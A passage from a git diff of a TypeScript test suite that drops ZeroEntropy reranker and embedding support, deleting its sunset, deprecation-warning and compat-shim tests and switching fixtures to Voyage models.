throw new Error('should have thrown');
} catch (err) {
@@ -317,13 +309,13 @@ describe('gateway.rerank() — allowlist enforcement (CDX2-F11)', () => {
}
});
- test('accepts zerank-1 (legacy allowlist member)', async () => {
- configureZE();
+ test('accepts rerank-3-lite (legacy allowlist member)', async () => {
+ configureVoyage();
__setRerankTransportForTests(async () => mockResp({ results: [{ index: 0, relevance_score: 1 }] }));
const out = await rerank({
query: 'q',
documents: ['d'],
- model: 'zeroentropyai:zerank-1',
+ model: 'voyage:rerank-3-lite',
});
expect(out.length).toBe(1);
});
@@ -344,7 +336,7 @@ describe('gateway.rerank() — allowlist enforcement (CDX2-F11)', () => {
});
describe('gateway.rerank() — guard rails', () => {
- beforeEach(() => configureZE());
+ beforeEach(() => configureVoyage());
test('empty query throws RerankError(unknown)', async () => {
try {
@@ -379,17 +371,6 @@ describe('gateway.rerank() — v0.40.6.1 RerankerTouchpoint.path override', () =
expect(capturedUrl).not.toContain('/v1/v1/');
expect(capturedUrl).not.toContain('/models/rerank');
});
-
- test('falls through to /models/rerank when recipe omits path (ZE regression)', async () => {
- configureZE();
- let capturedUrl = '';
- __setRerankTransportForTests(async (url) => {
- capturedUrl = url;
- return mockResp({ results: [{ index: 0, relevance_score: 0.9 }] });
- });
- await rerank({ query: 'q', documents: ['d'] });
- expect(capturedUrl).toBe('https://api.zeroentropy.dev/v1/models/rerank');
- });
});
describe('gateway.rerank() — v0.40.6.1 user-provided models (empty allowlist)', () => {
@@ -413,8 +394,8 @@ describe('gateway.rerank() — v0.40.6.1 user-provided models (empty allowlist)'
// Even when caller overrides via input.model, the resolved recipe still
// governs the allowlist. Empty allowlist = no restriction.
configureGateway({
- reranker_model: 'zeroentropyai:zerank-2',
- env: { ZEROENTROPY_API_KEY: 'sk-test' },
+ reranker_model: 'voyage:rerank-2.5',
+ env: { VOYAGE_API_KEY: 'sk-test' },
});
__setRerankTransportForTests(async () =>
mockResp({ results: [{ index: 0, relevance_score: 0.6 }] }),
@@ -428,19 +409,6 @@ describe('gateway.rerank() — v0.40.6.1 user-provided models (empty allowlist)'
});
});
-describe('gateway.rerank() — v0.40.6.1 path regression: zerank-1-small unaffected', () => {
- test('legacy ZE allowlist members still hit /models/rerank', async () => {
- configureZE('zeroentropyai:zerank-1-small');
- let capturedUrl = '';
- __setRerankTransportForTests(async (url) => {
- capturedUrl = url;
- return mockResp({ results: [{ index: 0, relevance_score: 0.5 }] });
- });
- await rerank({ query: 'q', documents: ['d'] });
- expect(capturedUrl.endsWith('/models/rerank')).toBe(true);
- });
-});
-
describe('gateway.rerank() — v0.46.3 Voyage wire dialect', () => {
function configureVoyage(model: string = 'voyage:rerank-2.5'): void {
configureGateway({
@@ -473,8 +441,8 @@ describe('gateway.rerank() — v0.46.3 Voyage wire dialect', () => {
expect(body.model).toBe('rerank-2.5');
});
- test('ZE dialect still sends top_n (regression: top_param defaults)', async () => {
- configureZE();
+ test('local dialect sends top_n when top_param is absent', async () => {
+ configureGateway({ reranker_model: 'llama-server-reranker:fixture-reranker', env: {} });
let body: any = null;
__setRerankTransportForTests(async (_url, init) => {
body = JSON.parse(String(init?.body ?? '{}'));
@@ -502,7 +470,7 @@ describe('gateway.rerank() — v0.46.3 Voyage wire dialect', () => {
]);
});
- test('the legacy results[] shape still parses too (ZE/llama-server dialect)', async () => {
+ test('the legacy results[] shape still parses too (local-server dialect)', async () => {
configureVoyage();
__setRerankTransportForTests(async () =>
mockResp({ results: [{ index: 0, relevance_score: 0.9 }] }),
diff --git a/test/ai/reranker-readiness.test.ts b/test/ai/reranker-readiness.test.ts
index 44f04d9fa9..7ed92cbdd8 100644
--- a/test/ai/reranker-readiness.test.ts
+++ b/test/ai/reranker-readiness.test.ts
@@ -4,8 +4,6 @@
* Pins:
* - the default voyage reranker is ready iff VOYAGE_API_KEY is in the
* caller-supplied env (never process.env);
- * - an explicit ZeroEntropy model is ready before the sunset and
- * `sunsetPassed` on/after it (injected clock);
* - unknown provider / provider without a reranker touchpoint / unlisted
* model → not ready, with a model-shaped fix;
* - never throws on garbage;
@@ -16,21 +14,17 @@ import { afterAll, describe, expect, test } from 'bun:test';
import { rerankerReadiness, describeRerankerFix } from '../../src/core/ai/reranker-readiness.ts';
import {
DEFAULT_RERANKER_MODEL,
- LEGACY_DEFAULT_RERANKER_MODEL,
NEW_INSTALL_DEFAULT_RERANKER_MODEL,
- ZEROENTROPY_SUNSET_DATE,
} from '../../src/core/ai/defaults.ts';
import { configureGateway, resetGateway, isAvailable } from '../../src/core/ai/gateway.ts';
import { getRecipe } from '../../src/core/ai/recipes/index.ts';
-const BEFORE = new Date(Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`) - 1000);
-const AFTER = new Date(Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`) + 86_400_000);
afterAll(() => resetGateway());
describe('rerankerReadiness — default voyage model', () => {
test('key present → ready, no fix', () => {
- const r = rerankerReadiness(DEFAULT_RERANKER_MODEL, { VOYAGE_API_KEY: 'pa-test' }, { now: BEFORE });
+ const r = rerankerReadiness(DEFAULT_RERANKER_MODEL, { VOYAGE_API_KEY: 'pa-test' });
expect(r.provider).toBe('voyage');
expect(r.modelId).toBe('rerank-2.5');
expect(r.recipeKnown).toBe(true);
@@ -38,13 +32,12 @@ describe('rerankerReadiness — default voyage model', () => {
expect(r.modelListed).toBe(true);
expect(r.requiredKey).toBe('VOYAGE_API_KEY');
expect(r.keyPresent).toBe(true);
- expect(r.sunset).toBeNull();
expect(r.ready).toBe(true);
expect(describeRerankerFix(r)).toBeNull();
});
test('key absent → not ready; fix names the key AND the disable command', () => {
- const r = rerankerReadiness(DEFAULT_RERANKER_MODEL, {}, { now: BEFORE });
+ const r = rerankerReadiness(DEFAULT_RERANKER_MODEL, {});
expect(r.keyPresent).toBe(false);
expect(r.ready).toBe(false);
const fix = describeRerankerFix(r)!;
@@ -54,13 +47,23 @@ describe('rerankerReadiness — default voyage model', () => {
});
test('an empty-string key counts as absent (mirrors the gateway env check)', () => {
- const r = rerankerReadiness(DEFAULT_RERANKER_MODEL, { VOYAGE_API_KEY: '' }, { now: BEFORE });
+ const r = rerankerReadiness(DEFAULT_RERANKER_MODEL, { VOYAGE_API_KEY: '' });
expect(r.keyPresent).toBe(false);
expect(r.ready).toBe(false);
});
+ test('a base-URL override does not bypass the provider key requirement', () => {
+ const readiness = rerankerReadiness(DEFAULT_RERANKER_MODEL, {}, {
+ baseUrlOverrides: { voyage: 'http://127.0.0.1:8080/v1' },
+ });
+ expect(readiness.selfHosted).toBe(true);
+ expect(readiness.keyPresent).toBe(false);
+ expect(readiness.ready).toBe(false);
+ expect(describeRerankerFix(readiness)).toContain('VOYAGE_API_KEY not set');
+ });
+
test('the lite sibling is listed and ready with the same key', () => {
- const r = rerankerReadiness('voyage:rerank-2.5-lite', { VOYAGE_API_KEY: 'pa-test' }, { now: BEFORE });
+ const r = rerankerReadiness('voyage:rerank-2.5-lite', { VOYAGE_API_KEY: 'pa-test' });
expect(r.modelListed).toBe(true);
expect(r.ready).toBe(true);
});
@@ -71,81 +74,30 @@ describe('rerankerReadiness — default voyage model', () => {
// modes` told an operator their configured reranker would not run.
test('the rerank-3 pair is listed and ready on the same key (#4938)', () => {
for (const model of ['voyage:rerank-3', 'voyage:rerank-3-lite']) {
- const r = rerankerReadiness(model, { VOYAGE_API_KEY: 'pa-test' }, { now: BEFORE });
+ const r = rerankerReadiness(model, { VOYAGE_API_KEY: 'pa-test' });
expect(r.modelListed).toBe(true);
expect(r.ready).toBe(true);
- // rerank-3 is not a sunset provider — no shutdown clock attached.
- expect(r.sunset).toBeNull();
}
});
});
-describe('rerankerReadiness — explicit ZeroEntropy model + sunset clock', () => {
- test('before the sunset with a key → ready', () => {
- const r = rerankerReadiness(LEGACY_DEFAULT_RERANKER_MODEL, { ZEROENTROPY_API_KEY: 'zk' }, { now: BEFORE });
- expect(r.sunset?.date).toBe(ZEROENTROPY_SUNSET_DATE);
- expect(r.sunsetPassed).toBe(false);
- expect(r.ready).toBe(true);
- });
-
- test('on/after the sunset → sunsetPassed, not ready, fix is the switch command (even with a key)', () => {
- const r = rerankerReadiness(LEGACY_DEFAULT_RERANKER_MODEL, { ZEROENTROPY_API_KEY: 'zk' }, { now: AFTER });
- expect(r.sunsetPassed).toBe(true);
- expect(r.keyPresent).toBe(true);
- expect(r.ready).toBe(false);
- const fix = describeRerankerFix(r)!;
- expect(fix).toContain(ZEROENTROPY_SUNSET_DATE);
- expect(fix).toContain(`gbrain config set search.reranker.model ${NEW_INSTALL_DEFAULT_RERANKER_MODEL}`);
- });
-
- test('sunset outranks a missing key in the fix text (dead provider first)', () => {
- const r = rerankerReadiness(LEGACY_DEFAULT_RERANKER_MODEL, {}, { now: AFTER });
- expect(describeRerankerFix(r)).toContain('provider sunset');
- });
-
- test('a provider_base_urls override (self-hosted endpoint) lifts the sunset block, mirroring the gateway', () => {
- const r = rerankerReadiness(LEGACY_DEFAULT_RERANKER_MODEL, { ZEROENTROPY_API_KEY: 'zk' }, {
- now: AFTER,
- baseUrlOverrides: { zeroentropyai: 'http://127.0.0.1:8080/v1' },
- });
- expect(r.sunsetPassed).toBe(true);
- expect(r.selfHosted).toBe(true);
- expect(r.sunsetBlocks).toBe(false);
- expect(r.ready).toBe(true);
- expect(describeRerankerFix(r)).toBeNull();
- // Self-hosted but keyless → the fix talks about the KEY, not the sunset.
- const noKey = rerankerReadiness(LEGACY_DEFAULT_RERANKER_MODEL, {}, {
- now: AFTER,
- baseUrlOverrides: { zeroentropyai: 'http://127.0.0.1:8080/v1' },
- });
- expect(noKey.ready).toBe(false);
- expect(describeRerankerFix(noKey)).toContain('ZEROENTROPY_API_KEY not set');
- expect(describeRerankerFix(noKey)).not.toContain('provider sunset');
- });
-
- test('mixed-case / slash-form ZE ids are still recognized as sunsetting', () => {
- expect(rerankerReadiness('ZeroEntropyAI:zerank-2', { ZEROENTROPY_API_KEY: 'zk' }, { now: AFTER }).sunsetPassed).toBe(true);
- expect(rerankerReadiness('zeroentropyai/zerank-2', { ZEROENTROPY_API_KEY: 'zk' }, { now: AFTER }).sunsetPassed).toBe(true);
- });
-});
-
describe('rerankerReadiness — shape failures never throw', () => {
test('unknown provider', () => {
- const r = rerankerReadiness('nope:model', { VOYAGE_API_KEY: 'x' }, { now: BEFORE });
+ const r = rerankerReadiness('nope:model', { VOYAGE_API_KEY: 'x' });
expect(r.recipeKnown).toBe(false);
expect(r.ready).toBe(false);
expect(describeRerankerFix(r)).toContain('not a known reranker');
});
test('provider without a reranker touchpoint (openai)', () => {
- const r = rerankerReadiness('openai:text-embedding-3-small', { OPENAI_API_KEY: 'x' }, { now: BEFORE });
+ const r = rerankerReadiness('openai:text-embedding-3-small', { OPENAI_API_KEY: 'x' });
expect(r.recipeKnown).toBe(true);
expect(r.hasTouchpoint).toBe(false);
expect(r.ready).toBe(false);
});
test('unlisted model on a reranker provider', () => {
- const r = rerankerReadiness('voyage:rerank-99', { VOYAGE_API_KEY: 'x' }, { now: BEFORE });
+ const r = rerankerReadiness('voyage:rerank-99', { VOYAGE_API_KEY: 'x' });
expect(r.hasTouchpoint).toBe(true);
expect(r.modelListed).toBe(false);
expect(r.ready).toBe(false);
@@ -153,14 +105,14 @@ describe('rerankerReadiness — shape failures never throw', () => {
test('a keyless local recipe needs no env key: requiredKey null, ready', () => {
const rec = getRecipe('llama-server-reranker')!;
- const r = rerankerReadiness(`llama-server-reranker:${rec.touchpoints.reranker!.default_model}`, {}, { now: BEFORE });
+ const r = rerankerReadiness(`llama-server-reranker:${rec.touchpoints.reranker!.default_model}`, {});
expect(r.requiredKey).toBeNull();
expect(r.keyPresent).toBe(true);
expect(r.ready).toBe(true);
});
test('garbage input (no provider:model shape)', () => {
- const r = rerankerReadiness('garbage', { VOYAGE_API_KEY: 'x' }, { now: BEFORE });
+ const r = rerankerReadiness('garbage', { VOYAGE_API_KEY: 'x' });
expect(r.provider).toBe('');
expect(r.recipeKnown).toBe(false);
expect(r.ready).toBe(false);
@@ -170,12 +122,11 @@ describe('rerankerReadiness — shape failures never throw', () => {
describe('rerankerReadiness agrees with gateway isAvailable("reranker", model)', () => {
// isAvailable checks recipe + touchpoint + required env; it does not check
- // model allowlists or sunsets, so the agreement statement is on exactly
+ // model allowlists, so the agreement statement is on exactly
// those three flags. Any divergence here means one surface will lie.
const MODELS = [
DEFAULT_RERANKER_MODEL,
'voyage:rerank-2.5-lite',
- LEGACY_DEFAULT_RERANKER_MODEL,
'openai:text-embedding-3-small',
'nope:model',
// keyless local recipe (auth_env.required empty) + a resolveAuth recipe
@@ -187,23 +138,15 @@ describe('rerankerReadiness agrees with gateway isAvailable("reranker", model)',
const ENVS: Array<Record<string, string>> = [
{},
{ VOYAGE_API_KEY: 'pa' },
- { ZEROENTROPY_API_KEY: 'zk' },
- { VOYAGE_API_KEY: 'pa', ZEROENTROPY_API_KEY: 'zk' },
+ { OPENAI_API_KEY: 'fixture-openai-key' },
+ { VOYAGE_API_KEY: 'pa', OPENAI_API_KEY: 'fixture-openai-key' },
];
- test('after the sunset isAvailable (env-only) stays true while readiness blocks — the intended divergence', () => {
- configureGateway({ env: { ZEROENTROPY_API_KEY: 'zk' } });
- const r = rerankerReadiness(LEGACY_DEFAULT_RERANKER_MODEL, { ZEROENTROPY_API_KEY: 'zk' }, { now: AFTER });
- expect(isAvailable('reranker', LEGACY_DEFAULT_RERANKER_MODEL)).toBe(true);
- expect(r.ready).toBe(false);
- expect(r.sunsetBlocks).toBe(true);
- });
-
test('env × model matrix', () => {
for (const env of ENVS) {
configureGateway({ env });
for (const m of MODELS) {
- const r = rerankerReadiness(m, env, { now: BEFORE });
+ const r = rerankerReadiness(m, env);
expect(isAvailable('reranker', m)).toBe(r.recipeKnown && r.hasTouchpoint && r.keyPresent);
}
}
diff --git a/test/ai/schema-templating.test.ts b/test/ai/schema-templating.test.ts
index 5ab5e2d47e..e524146bbe 100644
--- a/test/ai/schema-templating.test.ts
+++ b/test/ai/schema-templating.test.ts
@@ -3,15 +3,15 @@ import { getPGLiteSchema, PGLITE_SCHEMA_SQL } from '../../src/core/pglite-schema
import { getPostgresSchema } from '../../src/core/postgres-engine.ts';
describe('getPGLiteSchema', () => {
- test('default produces gateway-default schema (v0.37+: 1280d + zeroentropyai:zembed-1)', () => {
+ test('default produces gateway-default schema (v0.37+: 1024d + voyage:voyage-4)', () => {
// v0.37 fix wave Lane A.1 + CDX2-1: defaults now track the canonical
// gateway constants in `ai/defaults.ts` instead of the stale v0.13
// OpenAI literals (1536 / text-embedding-3-large). Fixes the
// headline bug where bare `gbrain init --pglite` produced a 1536
- // schema while the ZE default model emitted 1280-dim vectors.
+ // schema while the Voyage default model emitted 1024-dim vectors.
const sql = getPGLiteSchema();
- expect(sql).toMatch(/vector\(1280\)/);
- expect(sql).toMatch(/'zeroentropyai:zembed-1'/);
+ expect(sql).toMatch(/vector\(1024\)/);
+ expect(sql).toMatch(/'voyage:voyage-4'/);
expect(sql).not.toMatch(/__EMBEDDING_DIMS__/);
expect(sql).not.toMatch(/__EMBEDDING_MODEL__/);
});
diff --git a/test/ai/sunset-warn.test.ts b/test/ai/sunset-warn.test.ts
deleted file mode 100644
index 48560e40b0..0000000000
--- a/test/ai/sunset-warn.test.ts
+++ /dev/null
@@ -1,121 +0,0 @@
-/**
- * v0.46.3 — once-per-process sunset warn-on-use.
- *
- * A recipe with `sunset` metadata warns on stderr the first time each
- * touchpoint is actually used, exactly once per (recipe, touchpoint), with a
- * paste-ready replacement command. Driven through the rerank path (the
- * embedding path shares the same warnSunsetOnce helper) with the stubbed
- * rerank transport. `_resetSunsetWarningsForTest` is the seam.
- */
-
-import { describe, test, expect, afterEach, beforeEach } from 'bun:test';
-import {
- configureGateway,
- resetGateway,
- rerank,
- __setRerankTransportForTests,
- _resetSunsetWarningsForTest,
- __setSunsetClockForTests,
-} from '../../src/core/ai/gateway.ts';
-
-function mockResp(json: unknown, status = 200): Response {
- return new Response(JSON.stringify(json), {
- status,
- headers: { 'content-type': 'application/json' },
- });
-}
-
-let stderrChunks: string[] = [];
-let origWrite: typeof process.stderr.write;
-
-// Pin a pre-sunset clock: this suite exercises zerank THROUGH the transport, and
-// past ZEROENTROPY_SUNSET_DATE (2026-09-04) the real clock would make gateway.rerank
-// short-circuit before the transport — a deterministic wall-clock time bomb
-// (mirrors test/ai/rerank.test.ts).
-const BEFORE_SUNSET = new Date('2026-09-01T00:00:00Z');
-
-beforeEach(() => {
- __setSunsetClockForTests(() => BEFORE_SUNSET);
- _resetSunsetWarningsForTest();
- stderrChunks = [];
- origWrite = process.stderr.write.bind(process.stderr);
- process.stderr.write = ((chunk: any) => {
- stderrChunks.push(String(chunk));
- return true;
- }) as typeof process.stderr.write;
- configureGateway({
- reranker_model: 'zeroentropyai:zerank-2',
- env: { ZEROENTROPY_API_KEY: 'sk-test-zerokey' },
- });
- __setRerankTransportForTests(async () =>
- mockResp({ results: [{ index: 0, relevance_score: 0.9 }] }),
- );
-});
-
-afterEach(() => {
- __setSunsetClockForTests(null);
- process.stderr.write = origWrite;
- __setRerankTransportForTests(null);
- _resetSunsetWarningsForTest();
- resetGateway();
-});
-
-describe('sunset warn-on-use (v0.46.3)', () => {
- test('first ZE rerank prints the deprecation warning with the replacement command', async () => {
- await rerank({ query: 'q', documents: ['a'] });
- const all = stderrChunks.join('');
- expect(all).toContain('DEPRECATED');
- expect(all).toContain('2026-09-04');
- expect(all).toContain('search.reranker.model voyage:rerank-2.5');
- });
-
- test('fires once per process, not once per call', async () => {
- await rerank({ query: 'q', documents: ['a'] });
- await rerank({ query: 'q2', documents: ['b'] });
- const hits = stderrChunks.join('').split('DEPRECATED').length - 1;
- expect(hits).toBe(1);
- });
-
- test('reset seam re-arms the warning', async () => {
- await rerank({ query: 'q', documents: ['a'] });
- _resetSunsetWarningsForTest();
- await rerank({ query: 'q2', documents: ['b'] });
- const hits = stderrChunks.join('').split('DEPRECATED').length - 1;
- expect(hits).toBe(2);
- });
-
- test('a non-sunset provider warns nothing', async () => {
- resetGateway();
- configureGateway({
- reranker_model: 'voyage:rerank-2.5',
- env: { VOYAGE_API_KEY: 'pa-test' },
- });
- await rerank({ query: 'q', documents: ['a'] });
- expect(stderrChunks.join('')).not.toContain('DEPRECATED');
- });
-});
-
-describe('sunset warn-on-use — embedding touchpoint (v0.46.3)', () => {
- test('first ZE embed resolution warns with the migrate command', async () => {
- _resetSunsetWarningsForTest();
- stderrChunks = [];
- resetGateway();
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ZEROENTROPY_API_KEY: 'sk-test-zerokey' },
- });
- const { __setEmbedTransportForTests, embedQuery } = await import('../../src/core/ai/gateway.ts');
- __setEmbedTransportForTests(async (args: any) => ({
- embeddings: args.values.map(() => Array.from({ length: 1280 }, () => 0.01)),
- }) as any);
- try {
- await embedQuery('hello');
- } finally {
- __setEmbedTransportForTests(null);
- }
- const all = stderrChunks.join('');
- expect(all).toContain('DEPRECATED');
- expect(all).toContain('migrate embeddings --to voyage:voyage-4');
- });
-});
diff --git a/test/ai/voyage-reranker-recipe.test.ts b/test/ai/voyage-reranker-recipe.test.ts
index 9f404a59e2..5ef7f700a9 100644
--- a/test/ai/voyage-reranker-recipe.test.ts
+++ b/test/ai/voyage-reranker-recipe.test.ts
@@ -13,15 +13,12 @@
* - `default_model: 'voyage-4'` on the embedding touchpoint — array order is
* quality-sorted (voyage-4-large first) and must NOT drive selection.
* - voyage-code-4 is in the embedding models AND in the flexible-dims set.
- * - The zeroentropyai recipe carries `sunset` metadata with per-touchpoint
- * replacements pointing at the voyage models.
* - Pricing rows exist for the voyage rerankers (budget-tracker's rerank
* metering falls back to the embedding pricing table).
*/
import { describe, test, expect } from 'bun:test';
import { voyage } from '../../src/core/ai/recipes/voyage.ts';
-import { zeroentropyai } from '../../src/core/ai/recipes/zeroentropyai.ts';
import { getRecipe } from '../../src/core/ai/recipes/index.ts';
import { EMBEDDING_PRICING, lookupEmbeddingPrice } from '../../src/core/embedding-pricing.ts';
import { supportsVoyageOutputDimension } from '../../src/core/ai/dims.ts';
@@ -109,19 +106,6 @@ describe('voyage canonical embedding model (v0.46.3)', () => {
});
});
-describe('zeroentropyai sunset metadata (v0.46.3)', () => {
- test('recipe carries sunset date + per-touchpoint replacements', () => {
- expect(zeroentropyai.sunset).toBeDefined();
- expect(zeroentropyai.sunset!.date).toBe('2026-09-04');
- expect(zeroentropyai.sunset!.replacement?.embedding).toBe('voyage:voyage-4');
- expect(zeroentropyai.sunset!.replacement?.reranker).toBe('voyage:rerank-2.5');
- });
-
- test('voyage carries NO sunset (it is the replacement, not the deprecated)', () => {
- expect(voyage.sunset).toBeUndefined();
- });
-});
-
describe('voyage reranker pricing rows (v0.46.3)', () => {
test('rerank-2.5 + rerank-2.5-lite are priced (budget-tracker fallback)', () => {
expect(EMBEDDING_PRICING['voyage:rerank-2.5']?.pricePerMTok).toBe(0.05);
@@ -130,9 +114,6 @@ describe('voyage reranker pricing rows (v0.46.3)', () => {
});
test('#4938: every allowlisted reranker resolves a price (no TX2 no_pricing)', () => {
- // lookupPricing(kind: 'rerank') falls through to the embedding table; a
- // miss returns null and `--max-cost` callers hard-fail with no_pricing.
- // An allowlisted-but-unpriced model would make the fix a new footgun.
for (const m of voyage.touchpoints.reranker!.models) {
const hit = lookupEmbeddingPrice(`voyage:${m}`);
expect(hit.kind).toBe('known');
@@ -140,9 +121,6 @@ describe('voyage reranker pricing rows (v0.46.3)', () => {
});
test('#4938: rerank-3 pair carries the post-free-tier list rate', () => {
- // Priced at the list rate, NOT 0: the 200M complimentary grant is
- // per-account and unknowable from here, so over-reporting inside the
- // grant beats under-reporting past it.
expect(EMBEDDING_PRICING['voyage:rerank-3']?.pricePerMTok).toBe(0.05);
expect(EMBEDDING_PRICING['voyage:rerank-3-lite']?.pricePerMTok).toBe(0.02);
});
diff --git a/test/ai/zeroentropy-compat-fetch.test.ts b/test/ai/zeroentropy-compat-fetch.test.ts
deleted file mode 100644
index 3b0a99f252..0000000000
--- a/test/ai/zeroentropy-compat-fetch.test.ts
+++ /dev/null
@@ -1,165 +0,0 @@
-/**
- * v0.35.0.0 — structural source-shape assertions for zeroEntropyCompatFetch.
- *
- * Mirrors the test/voyage-response-cap.test.ts pattern: the shim is a
- * closed-over helper inside the embedding instantiation path and isn't
- * exported. Behavioral coverage of ZE flows happens in the gateway/embed
- * tests (with __setEmbedTransportForTests stubbing); these structural
- * pins guard the SHAPE of the shim so a silent revert fails loudly.
- *
- * Pins:
- * - URL path rewrite `/embeddings` → `/models/embed`.
- * - Body inject: input_type default to 'document'; encoding_format forced
- * to 'float' (don't trust SDK default per CDX2-F2).
- * - Response rewrite: `{results: [{embedding}]}` → `{data: [{embedding,
- * index}]}`.
- * - usage.prompt_tokens injection (CDX2-F1 — AI SDK schema requires it
- * when usage is present; Voyage's shim already had to do this).
- * - OOM caps: MAX_ZEROENTROPY_RESPONSE_BYTES=256MB; Layer 1
- * Content-Length, Layer 2 per-embedding size.
- * - instantiateEmbedding branch: `recipe.id === 'zeroentropyai'` →
- * `zeroEntropyCompatFetch`.
- */
-
-import { describe, test, expect } from 'bun:test';
-
-const GATEWAY_PATH = new URL('../../src/core/ai/gateway.ts', import.meta.url);
-
-describe('zeroEntropyCompatFetch — shim structural shape', () => {
- test('declared at module scope alongside voyageCompatFetch', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- expect(src).toMatch(/const zeroEntropyCompatFetch\s*=\s*\(async \(input: RequestInfo \| URL/);
- });
-
- test('cast through unknown to typeof fetch (Bun preconnect compat)', async () => {
- // The Voyage shim has the same trick — without `as unknown as typeof
- // fetch` the function-arrow type loses Bun's `preconnect` method
- // signature. Pinning here prevents a future refactor from removing
- // the cast and re-introducing the tsc TS2741 failure documented in
- // gateway.ts:556 comments. (Window is 9000 chars because the
- // `warnSunsetOnce` block, the post-sunset short-circuit helpers AND the
- // v0.48.2 `noKeyOnce` no_key audit helper sit between the last shim
- // cast and `resolveEmbeddingProvider`.)
- const src = await Bun.file(GATEWAY_PATH).text();
- expect(src).toMatch(/\}\)\s*as unknown as typeof fetch;[\s\S]{0,9000}async function resolveEmbeddingProvider/);
- });
-
- test('URL rewrite: /embeddings → /models/embed (CDX1-F2)', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // The rewrite logic must:
- // - normalize input via toString() so URL/string/Request all work
- // - replace exact suffix `/embeddings` with `/models/embed`
- expect(src).toMatch(/u\.pathname\.endsWith\(['"]\/embeddings['"]\)/);
- expect(src).toMatch(/\/models\/embed/);
- // Negative: must NOT have a `/v1/v1/` form (that would be the
- // pre-fix double-prefix bug).
- expect(src).not.toContain('/v1/v1/');
- });
-
- test('body recovers threaded input_type, defaulting to "document"', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // The wrapper recovers the SDK-stripped input_type from
- // __embedInputTypeStore (#1400) and still defaults to 'document' when
- // no caller threaded one (document-side correctness for sync / import /
- // embed CLI paths). Wire-level behavioral coverage lives in
- // test/embed-input-type-wire.test.ts.
- expect(src).toMatch(/parsed\.input_type\s*===\s*undefined/);
- expect(src).toMatch(/parsed\.input_type\s*=\s*__embedInputTypeStore\.getStore\(\)\s*\?\?\s*['"]document['"]/);
- });
-
- test('body forces encoding_format=float (CDX2-F2)', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // Don't trust SDK default; refuse base64 to keep response rewriter
- // simple (no base64 decode path needed).
- expect(src).toMatch(/parsed\.encoding_format\s*!==\s*['"]float['"]/);
- expect(src).toMatch(/parsed\.encoding_format\s*=\s*['"]float['"]/);
- });
-
- test('response shape rewrite: results → data with index stamped', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // The wrapper converts ZE's {results: [{embedding}]} to
- // {data: [{embedding, index}]} for the SDK's openai-compat parser.
- expect(src).toMatch(/json\.data\s*=\s*json\.results\.map\(/);
- expect(src).toMatch(/embedding:\s*r\?\.embedding/);
- expect(src).toMatch(/index:\s*i/);
- expect(src).toMatch(/delete json\.results/);
- });
-
- test('usage.prompt_tokens injected from total_tokens (CDX2-F1)', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // AI SDK schema requires prompt_tokens when usage is present. Voyage's
- // shim had the same fix at gateway.ts:655.
- expect(src).toMatch(/json\.usage\.prompt_tokens\s*===\s*undefined/);
- expect(src).toMatch(/json\.usage\.prompt_tokens\s*=\s*\n?\s*typeof json\.usage\.total_tokens\s*===\s*['"]number['"]/);
- });
-});
-
-describe('zeroEntropyCompatFetch — OOM caps', () => {
- test('MAX_ZEROENTROPY_RESPONSE_BYTES declared at 256 MB (matches Voyage sizing)', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- expect(src).toContain('MAX_ZEROENTROPY_RESPONSE_BYTES');
- expect(src).toMatch(/MAX_ZEROENTROPY_RESPONSE_BYTES\s*=\s*256\s*\*\s*1024\s*\*\s*1024/);
- });
-
- test('Layer 1: Content-Length pre-check before resp.clone().json()', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // Find the zeroEntropyCompatFetch block bounds, then assert ordering
- // within it (mirroring the voyage cap test pattern).
- const zeFetchStart = src.indexOf('const zeroEntropyCompatFetch');
- expect(zeFetchStart).toBeGreaterThan(0);
- const block = src.slice(zeFetchStart, zeFetchStart + 8000);
-
- const preCheckIdx = block.indexOf("resp.headers.get('content-length')");
- const jsonParseIdx = block.indexOf('await resp.clone().json()');
- expect(preCheckIdx).toBeGreaterThan(0);
- expect(jsonParseIdx).toBeGreaterThan(0);
- // The pre-check MUST appear before the JSON parse — Voyage's lesson
- // (codex OV8 finding): without the ordering, the OOM defense is
- // theatrical.
- expect(preCheckIdx).toBeLessThan(jsonParseIdx);
- });
-
- test('Layer 1 throws ZeroEntropyResponseTooLargeError (not silent return)', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- expect(src).toMatch(/throw new ZeroEntropyResponseTooLargeError\([\s\S]{0,200}Content-Length/);
- });
-
- test('Layer 2: per-embedding size cap inside results iteration', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // ZE returns float[] arrays (not base64 like Voyage). The cap counts
- // elements × 4 bytes (Float32 width).
- expect(src).toMatch(/item\.embedding\.length\s*\*\s*4/);
- expect(src).toMatch(/throw new ZeroEntropyResponseTooLargeError\([\s\S]{0,200}embedding exceeds/);
- });
-
- test('inbound try/catch rethrows ZeroEntropyResponseTooLargeError', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // Same rethrow pattern as Voyage's catch-block: instanceof check
- // ensures OOM-cap throws aren't silently swallowed by the parse-error
- // fallback.
- expect(src).toContain('ZeroEntropyResponseTooLargeError');
- expect(src).toMatch(/if\s*\(\s*err\s+instanceof\s+ZeroEntropyResponseTooLargeError\s*\)\s*throw\s+err/);
- });
-});
-
-describe('instantiateEmbedding wiring', () => {
- test('recipe.id === "zeroentropyai" branch installs zeroEntropyCompatFetch', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- // Pinned: the ternary at gateway.ts that picks the right fetch wrapper
- // for openai-compat recipes. Without this branch, the shim is dead code.
- expect(src).toMatch(/recipe\.id\s*===\s*['"]zeroentropyai['"]\s*\?[\s]*zeroEntropyCompatFetch/);
- });
-
- test('branch lives in the openai-compatible case of instantiateEmbedding', async () => {
- const src = await Bun.file(GATEWAY_PATH).text();
- const fnIdx = src.indexOf('function instantiateEmbedding(');
- const ocIdx = src.indexOf("case 'openai-compatible':", fnIdx);
- const branchIdx = src.indexOf('zeroEntropyCompatFetch', ocIdx);
- expect(fnIdx).toBeGreaterThan(0);
